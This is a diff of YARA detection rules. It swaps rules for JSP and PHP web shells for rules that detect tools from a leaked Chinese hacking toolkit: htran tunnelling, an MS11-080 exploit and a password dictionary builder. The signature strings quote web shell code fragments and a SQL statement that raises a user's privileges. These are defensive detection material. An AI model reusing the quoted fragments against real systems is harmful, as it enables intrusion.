+		description = "Sample from CN Honker Pentest Toolset - file dirdown.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2041-L2054"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b6f468252407efc2318639da22b08af0"
-		logic_hash = "1817786725de61150f1b3ff57597c780323a7f4df1c046cfd473e1918decd7d2"
+		id = "80f98131-79bf-580d-87ad-a54a3f14b301"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1063-L1080"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7b8d51c72841532dded5fec7e7b0005855b8a051"
+		logic_hash = "5e8349096b7d07757c3779e13fba87f770a5ef090bc7efe36fd151c7c180edad"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "entrika.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreate"
+		$s0 = "\\Decompress\\obj\\Release\\Decompress.pdb" ascii
+		$s1 = "Decompress.exe" fullword wide
+		$s5 = "Get8Bytes" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <45KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Config_Myxx_Zend
+rule SIGNATURE_BASE_CN_Honker_Xiaokui_Conversion_Tool : FILE
 {
 	meta:
-		description = "Web Shell - from files config.jsp, myxx.jsp, zend.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Xiaokui_conversion_tool.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "26e30df6-b1d9-5d82-b368-a4a904939aa3"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2055-L2071"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "161dc712f279e73ea8cab4b0298cc2ca3799c6d9107050c4231a81021caed37f"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1082-L1098"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dccd163e94a774b01f90c1e79f186894e2f27de3"
+		logic_hash = "66a77c1fbfecdc02f591c12f69b46e39b7077dfbb5ed2a26a7dcfb11c8b464dc"
 		score = 70
-		quality = 85
-		tags = ""
+		quality = 60
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "d44df8b1543b837e57cc8f25a0a68d92"
-		hash1 = "e0354099bee243702eb11df8d0e046df"
-		hash2 = "591ca89a25f06cf01e4345f98a22845c"
 
 	strings:
-		$s3 = ".println(\"<a href=\\\"javascript:alert('You Are In File Now ! Can Not Pack !');"
+		$s1 = "update [dv_user] set usergroupid=1 where userid=2;--" fullword ascii
+		$s2 = "To.exe" fullword wide
+		$s3 = "by zj1244" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <240KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_Browser_201_3_Ma_Download
+rule SIGNATURE_BASE_CN_Honker_Grouppolicyremover : FILE
 {
 	meta:
-		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, download.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file GroupPolicyRemover.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "e581172d-fcea-5281-ba9f-06b35c9a513e"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2072-L2091"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3605e1304fb314c13d6c94d6ac9337731c6ee4fef679444d599cb3ae29023b56"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1100-L1116"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7475d694e189b35899a2baa462957ac3687513e5"
+		logic_hash = "936d5dea2d44f638abfb5e42f45c0678bcbf769b575b5056db1a1fc41d1643be"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
-		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
-		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
-		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
-		hash4 = "fa87bbd7201021c1aefee6fcc5b8e25a"
 
 	strings:
-		$s2 = "<small>jsp File Browser version <%= VERSION_NR%> by <a"
-		$s3 = "else if (fName.endsWith(\".mpg\") || fName.endsWith(\".mpeg\") || fName.endsWith"
+		$s0 = "GP_killer.EXE" fullword wide
+		$s1 = "GP_killer Microsoft " fullword wide
+		$s2 = "SHDeleteKeyA" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <700KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Itsec_Itsecteam_Shell_Jhn
+rule SIGNATURE_BASE_CN_Honker_Wordpressscanner : FILE
 {
 	meta:
-		description = "Web Shell - from files itsec.php, itsecteam_shell.php, jHn.php"
+		description = "Sample from CN Honker Pentest Toolset - file WordpressScanner.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "79195823-f88b-5c28-8b99-a43a9d6c94af"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2092-L2109"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2775d7e47a26e06ea716bdca32a0f768eccf4d269caa3d107b4a78f8684ce741"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1118-L1135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0b3c5015ba3616cbc616fc9ba805fea73e98bc83"
+		logic_hash = "c6c36ad5ff0ddfbc41464008d293d453bf2d312a6db885217785adf816bd8b20"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
-		hash1 = "bd6d3b2763c705a01cc2b3f105a25fa4"
-		hash2 = "40c6ecf77253e805ace85f119fe1cebb"
 
 	strings:
-		$s4 = "echo $head.\"<font face='Tahoma' size='2'>Operating System : \".php_uname().\"<b"
-		$s5 = "echo \"<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'"
+		$s0 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
+		$s1 = "(http://www.eyuyan.com)" fullword wide
+		$s2 = "GetConnectString" fullword ascii
+		$s4 = "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Ghost_Source_Icesword_Silic
+rule SIGNATURE_BASE_CN_Honker_Htran_V2_40_Htran20 : FILE
 {
 	meta:
-		description = "Web Shell - from files ghost_source.php, icesword.php, silic.php"
+		description = "Sample from CN Honker Pentest Toolset - file htran20.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "9dd1ab4b-108e-55be-b94d-2868ce00855e"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2110-L2127"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "22879d5279866e3c25a5b41a98b44595f191cfcac6489208b0bdb6b7ca7201e5"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1137-L1156"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
+		logic_hash = "41a85430875df622e7940ef26c6eceaa4e0720b2995521fbb2d4b072207c8e15"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "cbf64a56306c1b5d98898468fc1fdbd8"
-		hash1 = "6e20b41c040efb453d57780025a292ae"
-		hash2 = "437d30c94f8eef92dc2f064de4998695"
 
 	strings:
-		$s3 = "if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $"
-		$s6 = "if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST["
+		$s1 = "%s -slave  ConnectHost ConnectPort TransmitHost TransmitPort" fullword ascii
+		$s2 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s4 = "%s -connect ConnectHost [ConnectPort]       Default:%d" fullword ascii
+		$s5 = "[+] got, ip:%s, port:%d" fullword ascii
+		$s6 = "[-] There is a error...Create a new connection." fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jspspy_Jspspyjdk5_Jspspyjdk51_Luci_Jsp_Spy2009_M_Ma3_Xxx
+rule SIGNATURE_BASE_CN_Honker_Dictionarygenerator : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file DictionaryGenerator.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "29ce6f8c-3092-5917-ab31-aaed7834c500"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2128-L2171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6c61e5ccd4800f0cfd20532ab43f917f39a7367cc09cbe92e5320eb2c97fabf3"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1158-L1173"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b3071c64953e97eeb2ca6796fab302d8a77d27bc"
+		logic_hash = "228bdbca3eb206e22a130e91caa2486174efba9356dbee67e80333c0cf0bb643"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
-		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
-		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
-		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
-		hash4 = "8b457934da3821ba58b06a113e0d53d9"
-		hash5 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
-		hash6 = "14e9688c86b454ed48171a9d4f48ace8"
-		hash7 = "b330a6c2d49124ef0729539761d6ef0b"
-		hash8 = "d71716df5042880ef84427acee8b121e"
-		hash9 = "341298482cf90febebb8616426080d1d"
-		hash10 = "29aebe333d6332f0ebc2258def94d57e"
-		hash11 = "42654af68e5d4ea217e6ece5389eb302"
-		hash12 = "88fc87e7c58249a398efd5ceae636073"
-		hash13 = "4a812678308475c64132a9b56254edbc"
-		hash14 = "9626eef1a8b9b8d773a3b2af09306a10"
-		hash15 = "344f9073576a066142b2023629539ebd"
-		hash16 = "32dea47d9c13f9000c4c807561341bee"
-		hash17 = "90a5ba0c94199269ba33a58bc6a4ad99"
-		hash18 = "655722eaa6c646437c8ae93daac46ae0"
-		hash19 = "b9744f6876919c46a29ea05b1d95b1c3"
-		hash20 = "9c94637f76e68487fa33f7b0030dd932"
-		hash21 = "6acc82544be056580c3a1caaa4999956"
-		hash22 = "6aa32a6392840e161a018f3907a86968"
-		hash23 = "349ec229e3f8eda0f9eb918c74a8bf4c"
-		hash24 = "3ea688e3439a1f56b16694667938316d"
-		hash25 = "ab77e4d1006259d7cbc15884416ca88c"
-		hash26 = "71097537a91fac6b01f46f66ee2d7749"
-		hash27 = "2434a7a07cb47ce25b41d30bc291cacc"
-		hash28 = "7a4b090619ecce6f7bd838fe5c58554b"
 
 	strings:
-		$s8 = "\"<form action=\\\"\"+SHELL_NAME+\"?o=upload\\\" method=\\\"POST\\\" enctype="
-		$s9 = "<option value='reg query \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\T"
+		$s1 = "`PasswordBuilder" fullword ascii
+		$s2 = "cracker" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <3650KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_2_520_Job_Ma1_Ma4_2
+rule SIGNATURE_BASE_CN_Honker_Ms11080_Withcmd : FILE
 {
 	meta:
-		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file ms11080_withcmd.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "38c12697-7e52-5713-a566-6047abfa229b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2172-L2192"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "db76ff42079b20d9e5c40661d7b30206e6bffc828f55daa4dc210662068f8e27"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1175-L1190"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
+		logic_hash = "1f673f845ad40efae143ec244c7c70d1e26fb51f22be6bf445085c6a7379f193"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "64a3bf9142b045b9062b204db39d4d57"
-		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
-		hash2 = "56c005690da2558690c4aa305a31ad37"
-		hash3 = "532b93e02cddfbb548ce5938fe2f5559"
-		hash4 = "6e0fa491d620d4af4b67bae9162844ae"
-		hash5 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
 
 	strings:
-		$s4 = "_url = \"jdbc:microsoft:sqlserver://\" + dbServer + \":\" + dbPort + \";User=\" "
-		$s9 = "result += \"<meta http-equiv=\\\"refresh\\\" content=\\\"2;url=\" + request.getR"
+		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii
+		$s3 = "[>] create pipe error" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <340KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_000_403_807_A_C5_Config_Css_Dm_He1P_Jspspy_Jspspyjdk5_Jspspyjdk51_Luci_Jsp_Xxx
+rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V2 : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v2.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "499b251a-e0e1-5550-825d-acab112be74b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2193-L2239"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cda47d7967b0f4b2a274ff2196d27d2e108b00917812093bbb3f033a8a1d1c3c"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1192-L1208"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a995451d9108687b8892ad630a79660a021d670a"
+		logic_hash = "979f3fe9795798743f2a57aa3b82a34e304774de58ffda5278991cf5a753a8ba"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
-		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
-		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
-		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
-		hash4 = "8b457934da3821ba58b06a113e0d53d9"
-		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
-		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
-		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
-		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
-		hash9 = "d71716df5042880ef84427acee8b121e"
-		hash10 = "341298482cf90febebb8616426080d1d"
-		hash11 = "29aebe333d6332f0ebc2258def94d57e"
-		hash12 = "42654af68e5d4ea217e6ece5389eb302"
-		hash13 = "88fc87e7c58249a398efd5ceae636073"
-		hash14 = "4a812678308475c64132a9b56254edbc"
-		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
-		hash16 = "e0354099bee243702eb11df8d0e046df"
-		hash17 = "344f9073576a066142b2023629539ebd"
-		hash18 = "32dea47d9c13f9000c4c807561341bee"
-		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
-		hash20 = "655722eaa6c646437c8ae93daac46ae0"
-		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
-		hash22 = "9c94637f76e68487fa33f7b0030dd932"
-		hash23 = "6acc82544be056580c3a1caaa4999956"
-		hash24 = "6aa32a6392840e161a018f3907a86968"
-		hash25 = "591ca89a25f06cf01e4345f98a22845c"
-		hash26 = "349ec229e3f8eda0f9eb918c74a8bf4c"
-		hash27 = "3ea688e3439a1f56b16694667938316d"
-		hash28 = "ab77e4d1006259d7cbc15884416ca88c"
-		hash29 = "71097537a91fac6b01f46f66ee2d7749"
-		hash30 = "2434a7a07cb47ce25b41d30bc291cacc"
-		hash31 = "7a4b090619ecce6f7bd838fe5c58554b"
 
 	strings:
-		$s0 = "ports = \"21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500\";" fullword
-		$s1 = "private static class VEditPropertyInvoker extends DefaultInvoker {" fullword
+		$s1 = "LOADER ERROR" fullword ascii
+		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s3 = "2011-2012 T00LS&RICES" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <800KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Wso2_5_1_Wso2_5_Wso2
+rule SIGNATURE_BASE_CN_Honker_HASH_32 : FILE
 {
 	meta:
-		description = "Web Shell - from files wso2.5.1.php, wso2.5.php, wso2.php"
+		description = "Sample from CN Honker Pentest Toolset - file 32.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "a9b5b753-2028-53be-9ac8-50ec910860c3"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2240-L2257"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f2dce52f1b8d2c33cd8478a468383a87f13712dc6e5c9050fea6ede4f0d24cc5"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1210-L1226"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bf4a8b4b3e906e385feab5ea768f604f64ba84ea"
+		logic_hash = "819e70979ae1d5e237bbadaa52b504c566b4b7436747ceb0d72e206e4fc45708"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "dbeecd555a2ef80615f0894027ad75dc"
-		hash1 = "7c8e5d31aad28eb1f0a9a53145551e05"
-		hash2 = "cbc44fb78220958f81b739b493024688"
 
 	strings:
-		$s7 = "$opt_charsets .= '<option value=\"'.$item.'\" '.($_POST['charset']==$item?'selec"
-		$s8 = ".'</td><td><a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode($f['na"
+		$s5 = "[Undefined OS version]  Major: %d Minor: %d" fullword ascii
+		$s8 = "Try To Run As Administrator ..." fullword ascii
+		$s9 = "Specific LUID NOT found" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <240KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_000_403_C5_Querydong_Spyjsp2010_T00Ls
+rule SIGNATURE_BASE_CN_Honker_Windows_Mstsc_Enhanced_RMDSTC : FILE
 {
 	meta:
-		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp, t00ls.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file RMDSTC.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "f6e94327-cb79-5a7a-88bb-850177558978"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2258-L2278"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f507499304a7cf4d14a134a4c0781fed9a94c40fe3257a4168bacdf3910ffec"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1228-L1243"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3ca2b1b6f31219baf172abcc8f00f07f560e465f"
+		logic_hash = "de676b033613beebfe9fc5a71cf5f5911f0af35d34e77d56d222c6f00114dfb6"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
-		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
-		hash2 = "8b457934da3821ba58b06a113e0d53d9"
-		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
-		hash4 = "655722eaa6c646437c8ae93daac46ae0"
-		hash5 = "9c94637f76e68487fa33f7b0030dd932"
 
 	strings:
-		$s8 = "table.append(\"<td nowrap> <a href=\\\"#\\\" onclick=\\\"view('\"+tbName+\"')"
-		$s9 = "\"<p><input type=\\\"hidden\\\" name=\\\"selectDb\\\" value=\\\"\"+selectDb+\""
+		$s0 = "zava zir5@163.com" fullword wide
+		$s1 = "By newccc" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_404_Data_Suiyue
+rule SIGNATURE_BASE_CN_Honker_Sig_3389_Mstsc_MSTSCAX : FILE
 {
 	meta:
-		description = "Web Shell - from files 404.jsp, data.jsp, suiyue.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file MSTSCAX.DLL"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "9508b613-f897-5277-97e0-30e36fb5d747"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2279-L2295"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7f4ab5dbd2a72574c5d188e14ae98e599359b2d662266fc4c3a39d3d4405c208"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1245-L1261"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2fa006158b2d87b08f1778f032ab1b8e139e02c6"
+		logic_hash = "2bfe10ec4af5d0f32fc03714c0cb01d9b0d446daa67cc0cce0b83f6a57e7c5a5"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "7066f4469c3ec20f4890535b5f299122"
-		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
-		hash2 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
 
 	strings:
-		$s3 = " sbCopy.append(\"<input type=button name=goback value=' \"+strBack[languageNo]+"
+		$s1 = "ResetPasswordWWWx" fullword ascii
+		$s2 = "Terminal Server Redirected Printer Doc" fullword wide
+		$s3 = "Cleaning temp directory" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_R57Shell_R57Shell127_Sniper_SA_Shell_Egy_Spider_Shell_V2_R57_Xxx
